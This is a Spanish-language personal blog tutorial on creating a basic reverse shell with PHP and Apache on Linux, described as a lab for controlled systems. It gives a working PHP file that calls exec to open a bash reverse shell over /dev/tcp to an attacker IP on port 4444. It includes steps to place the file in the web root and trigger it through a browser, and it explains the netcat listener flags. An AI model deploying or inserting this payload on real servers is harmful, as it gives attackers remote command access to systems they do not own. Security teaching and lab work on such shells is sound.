Blog personal de Anibal Copitan. Herramientas y contenido de desarrollo, Linux, terminal, programación. Mejora tus habilidades tecnológicas
martes, 19 de noviembre de 2024
Cómo Crear un Reverse Shell Básico con PHP y Apache en Linux
Para pruebas de seguridad en sistemas controlados podrias aplicar este laboratorio: Creando una reverse shell con PHP y Apache en Linux.
Requisitos previos
Servidor
linux con apache y phpMaquina atacante
con la herramienta nc netcat (tu equipo o un equipo VPN ideal)- Conexión de red entre el
servidor
y lamaquina atacante
Paso 1: Preparar la maquina atacante (tu PC)
- Debemos asegurarnos de tener instaladao
NetCat
. Es una herramienta escencial para conexiones de red.
- Conocer mi ip o IP_atacante
La IP es: 192.168.1.38 tú debes de remplazarlo por la IP de tu equipo o tu VPN (si tienes un servidor dedicado para esto)
- Abrir un puerto en tu maquina para escuchar conexiones:
Cómo se comporta el comando:
- nc: Es el comando base para ejecutar netcat.
- -l: Significa “listen” (escuchar). Inicia netcat en modo de escucha, esperando conexiones entrantes en lugar de realizar una conexión saliente.
- -v: Especifica “verbose” (detallado). Muestra información adicional, como el proceso de conexión y las direcciones IP.
- -n: Le dice a netcat que no resuelva nombres de dominio. Solo utilizará direcciones IP numéricas, lo cual es útil para evitar que haga búsquedas DNS.
- -p 4444: Define el puerto en el que netcat escuchará. En este caso, es el puerto 4444.
Este comando hace que netcat escuche conexiones entrantes en el
puerto 4444.
Es comúnmente utilizado en ataques de reverse shell o
troyanos
Paso 2: Verificación de servidor apache con php
Crea un archivo de prueba en /var/www/html:
Accede desde un navegador al servidor: http://192.168.1.25/info.php.
Paso 3: Crear el Script de Reverse Shell
Crear el archivo PHP con la reverse shell:
<?php
// Shell inversa en PHP // IP_atacante=192.168.1.38
exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.38/4444 0>&1'");
?>
- Colocar el archivo
reverse-shell.php
en/var/www/html/
- Accede al archivo desde tu navegador:
http://192.168.1.25/reverse-shell.php
- Una vez accedas deberias obtener una conexión en tu
maquina atacante
con un shell interactivo.
Conclusión
Como desarrolladores web, entender cómo funcionan las vulnerabilidades como las reverse shells nos ayuda a construir sistemas más seguros. En el hacking ético, este conocimiento es clave para identificar y prevenir posibles ataques, asegurando la protección de aplicaciones y datos sensibles
No hay comentarios:
Publicar un comentario